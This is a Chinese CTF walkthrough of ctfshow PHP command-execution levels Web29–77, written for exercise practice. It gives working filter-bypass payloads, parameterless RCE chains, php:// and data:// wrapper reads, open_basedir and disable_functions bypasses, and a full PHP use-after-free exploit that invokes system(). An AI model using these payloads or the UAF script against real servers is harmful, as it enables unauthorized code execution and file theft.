freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ctfshow-Web入门-命令执行wp
2xixis 2023-12-20 15:52:49 44401

Web29:

​ 简单的命令执行,使用/i模式过滤大小写flag,可以使用通配符绕过过滤。

image-20231209123049792

Web30:

​ 比上一题多过滤system与php,可以使用其他函数来执行命令,具体可以参考PHP中常见的命令执行函数与代码执行函数_-passthru-CSDN博客

注意:	
	system(),passthru()自动输出结果          
	exec(),shell_exec()需要打印(echo/print)结果,且exec()仅打印最后一行

image-20231209124230640

Web31:

​ 多过滤cat,sort,shell,'.',空格,'''

​ cat,sort可用其他查询命令,如tac,nl等;使用passthru绕过命令执行函数;'''单引号使用双引号绕过。

​ 空格绕过可以写个脚本列出绕过空格的字符串一一进行尝试

"""
%20 空格
%09 TAB(水平)
%0a 新的一行
%0c 新的一页
%od return
%ob TAB(垂直)
%a0 空格
/**/ sql注释绕过
${IFS}
$IFS$9

"""
dit=('%20','%09','%0a','%0c','%0d','%a0','/**/','$IFS','${IFS}')
temp_payload="tac fla*"
for i in range(len(dit)):
    payload=temp_payload.replace(' ',dit[i])
    print("the replace str is:{}\n the replace payload is:  {}".format(dit[i],payload))
    print("-------------------------------------------------")

image-20231209124442925

​ payload:?c=passthru("tac%09fla*");

image-20231209130631067

​ 看其他师傅的wp(https://ctf.show/writeups/806344)发现还有好多其他方法:

方法一:
可以尝试通过嵌套eval函数来获取另一个参数的的方法来绕过,因为这里只判断了c这个参数,并不会判断其他参数的传入

c=eval($_GET[a]);&a=system('cat flag.php');

这里注意后面是a的参数,而不是c的参数,这个payload共传递了两个参数,第一个为嵌套eval第二个为向嵌套的eval传入参数

方法二(无参数rce):
可以利用已知的其他函数来凑出所需要的字符串来绕过

c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."
pos():输出数组第一个元素,不改变指针;
scandir();遍历目录,这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码

Web32:

​ 多过滤|`|echo|;|\(

​ 没有过滤include,可以使用include+伪协议进行文件读取

payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

image-20231209133330130

Web33:

​ 多过滤' " '(双引号),方法同上

Web34:

​ 多过滤' : ',include已经将语句闭合,不影响后面伪协议代码,payload同Web32

Web35:

​ 多过滤' < ',' = ',payload同Web32

Web36:

​ 多过滤' / ',数字,没过滤字符,将Web32的payload1改成a继续用

Web37:

​ 题目使用include包含输入,使用php的伪协议data进行文件读取

用法:

data://text/plain,     data://text/plain;base64,
payload:?c=data://text/plain,<?php system('tac fla*');?>

image-20231209204716320

Web38:

​ 过滤php,file,使用短标签或者base64编码绕过

<?= ?> == <?php echo?>
payload: ?c=data://text/plain,<?= system('tac fla*');?>

image-20231209210001238

Web39:

​ 强制给include添加后缀无法阻止伪协议内的php代码执行,只会在代码执行后报错

​ payload同上

Web40:

​ 过滤大多数符号和数字,但是过滤的括号为中文括号,所以可以使用无参数rce

参考师傅们的wp:

法一:

c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');

get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。

next()将内部指针指向数组中的下一个元素,并输出。

array_pop() 函数删除数组中的最后一个元素并返回其值。

payload:
	?c=eval(array_pop(next(get_defined_vars())));
	Post: 1=system("tac flag.php") 

image-20231209212458971

法二:

c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));

getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())

payload:
	c=show_source(next(array_reverse(scandir(getcwd()))));
	c=show_source(next(array_reverse(scandir(pos(localeconv())))));

image-20231209212434778

Web41:

参考羽师傅博客

​ 过滤字母,数字以及大部分运算符,但未过滤或运算符“|”,

​ 可采用先从asscii码中找到或运算能得到可用的字符,然后从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符。

Web42:

​ 过滤如下:

image-20231209213826991

/dev/null:将输出的所有数据输入进一个不保存的临时文件(无回显)[黑洞文件]
2>&1:将错误输出重定向指向标准输出,一并输入进临时文件

​ 使用;或者%09分隔为两条命令,将后一条命令执行结果输入黑洞文件。

payload:c=tac flag.php;

image-20231209214119659

Web43:

​ 过滤' ; ','cat',可以使用%0a,||等进行过滤

payload:c=tac flag.php||

image-20231209214558302

Web44:

​ 多过滤flag,通配符绕过

image-20231209214910724

Web45:

​ 多过滤空格,用${IFS}或者$IFS$9绕过

image-20231210163900752

Web46:

​ 多过滤数字,' $ ',' * '。

​ 法一:虽然过滤了数字,但是仍然可以用%09来绕过空格,%09会先进行url解码再被过滤规则判断。

image-20231210165041866

​ 法二:使用重定向符(' < ')将flag.php的内容传递给tac进行输出。

​ (使用重定向符后不能使用?不然不会回显,可以使用\或者''进行分隔)

“<”与“>”的用法:
在 Linux 命令行中,< 和 > 符号是用来进行输入输出重定向的。它们的详细用法如下:

< 符号:将文件内容作为命令的输入
可以使用 < 符号将一个文件的内容作为命令的输入,例如:

$ cat < input.txt
上述命令将会把文件 input.txt 的内容作为 cat 命令的输入,然后输出到终端。

> 符号:将命令的输出保存到文件中
可以使用 > 符号将命令的输出保存到一个文件中,例如:

$ ls -l > output.txt
上述命令将会执行 ls -l 命令,并将输出结果保存到 output.txt 文件中。

>> 符号:将命令的输出追加到文件末尾
和 > 符号类似,>> 符号可以将命令的输出保存到一个文件中,但是它会将输出内容追加到文件末尾,而不是覆盖文件原有的内容,例如:

$ echo "Hello" >> output.txt
$ echo "World" >> output.txt
上述命令将会分别把字符串 "Hello" 和 "World" 追加到 output.txt 文件的末尾。

2> 和 2>> 符号:将命令的错误输出保存到文件中
有些命令在执行时可能会产生错误输出,可以使用 2> 和 2>> 符号将错误输出保存到一个文件中,例如:

$ ls -l /not/exist 2> error.txt
上述命令将会执行 ls -l /not/exist 命令,但是由于 /not/exist 文件不存在,会产生一个错误输出,这个错误输出会被保存到 error.txt 文件中。

Web47-50:

​ 多过滤一些查询的命令,payload同Web46

image-20231210170142767

Web51:

​ 过滤tac,使用nl查询

Web52:

​ 过滤重定向符,但是' $ '放出来了,继续使用${IFS}绕过空格,nl查看不在网站目录,ls查看根目录存在flag。

image-20231210171241729

Web53:

​ 添加命令的回显,system()成功则返回命令输出的最后一行,失败则返回 false

image-20231210172102898

payload:?c=nl${IFS}fla?.php

image-20231210172252901

Web54:

​ 使用正则匹配命令,可使用未过滤的uniq,grep进行查找,也可以使用mv或者cp对文件重命名进行访问

image-20231210174921526

Web55:

​ 过滤字符,可以使用通配符调用/bin/base64来对flag.php进行输出

payload:?c=/???/????64 ????.??? 

image-20231210180855887

Web56:

​ 字母数字全过滤,参考

Web57:

​ 过滤数字字符,可以利用特性来构建数字

echo ${_}:返回上一次命令的执行结果,若上一次没有命令输出0
可用
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反
payload:
/?c=$((~$((]$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

image-20231211095357478

Web_58~65:

​ php.ini在后台对system,shell_exec等常见命令执行函数进行过滤,可以调用php内置函数进行文件读取,参考

常见文件读取函数:
file_get_contents   
fread
fgets
fgetss
file
parse_ini_file
readfile    
highlight_file  
show_source 
<?php
// file_get_contents
print(sprintf("%'-10s%-'-30s", '-', 'file_get_contents').PHP_EOL);
echo file_get_contents('flag.txt');
echo PHP_EOL;

// fopen fread
print(sprintf("%'-10s%-'-30s", '-', 'fopen fread').PHP_EOL);
$file = fopen("flag.txt","rb");
echo fread($file,1024);     // 参数为 resource 类型
fclose($file);
echo PHP_EOL;

// fopen fgets
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgets').PHP_EOL);
$file = fopen("flag.txt","r");      
echo fgets($file, 4096);        // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;

// fopen fgetss
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgetss').PHP_EOL);
$file = fopen("flag.txt","r");     
echo fgetss($file, 4096);        // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;

// readfile
print(sprintf("%'-10s%-'-30s", '-', 'readfile').PHP_EOL);
echo readfile("flag.txt");      // 看到不仅输出了所有内容,而且还输出了总共长度
echo PHP_EOL;

// file
print(sprintf("%'-10s%-'-30s", '-', 'file').PHP_EOL);
print_r(file('flag.txt'));      // 读取结果为数组,所以需要用 print_r 或 var_dump 
echo PHP_EOL;

// parse_ini_file
print(sprintf("%'-10s%-'-30s", '-', 'parse_ini_file').PHP_EOL);
echo parse_ini_file("flag.txt");        // 只能读取 ini 配置文件
echo PHP_EOL;

// show_source
print(sprintf("%'-10s%-'-30s", '-', 'show_source').PHP_EOL);
show_source('flag.txt');
echo PHP_EOL;

// highlight_file
print(sprintf("%'-10s%-'-30s", '-', 'highlight_file').PHP_EOL);
highlight_file('flag.txt');
echo PHP_EOL;
?>

image-20231211110228179

Web66:

​ 使用highlight_file()读取文件,目录下的flag.php为假flag,调用print_r与scandir()来代替ls查看目录,可以参考这篇文章看echo(),print(),print_r()的区别,简单来说就是print_r可以打印数组。

image-20231211111458518

web67:

​ 比上题多过滤print_r();用var_dump()输出

web68:

​ 比上题多过滤highlight_file();用require()或者include()

web69:

​ 比上题多过滤var_dump();用var_export()代替

冷门函数
打印函数:print、echo
print和echo无法打印数组,利用implode函数将数组转换成字符串再打印
查看目录下文件:scandir
读取函数readgzfile:可以读取非gz格式的文件
payload:?c=echo(implode('---',scandir("/")));
       	 ?c=readgzfile('/flag.txt');

web70:

​ 过滤 error_reporting(),ini_set();

​ 同上

Web71:

​ 查看源码:

image-20231211113052846

ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲

先执行$c,然后将结果放在缓冲区,将缓冲区的所有字母和数字替换为?.

可以在执行$c时使用die(),exit()直接退出缓冲区进行输出。

​ 查看flag.php无返回,继续使用var_export(scandir('/'))扫描目录,include读取文件。

image-20231211113722629

Web72:

​ 使用了open_basedir进行文件访问限制,可以使用使用glob://伪协议绕过open_basedir,可以参考shu师傅的博客[ctfshow]web入门——命令执行(web72-web77)_命令执行 web72-CSDN博客

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

image-20231211114844615

使用include()访问发现没有权限,使用群里师傅们的uaf脚本进行文件读取

<?php

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

使用uaf脚本时记得对内容进行url编码

image-20231211115320462

web73:

同上,扫描出来文件名为flagc.txt,但是可以直接include()包含

web74:

同上,扫描出来文件名为flagx.txt,但是可以直接include()包含

Web75:

​ 过滤include;

​ 法一:uaf strlen()函数被过滤,应该可以重写strlen()函数过滤

​ 法二:用PDO连接数据库进行查询

先查询文件名
c=try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');

    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

web76:

​ 同上,文件名为flag36d.txt.

web77:

​ 关闭PDO连接数据库,使用FFi调用c语言来实现命令执行

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
访问1.txt
# CTF
本文为 2xixis 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
2xixis LV.2
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 0 关注者
linux常见命令(分类展示)
2023-12-21
ctfshow-Web入门-信息收集wp
2023-12-08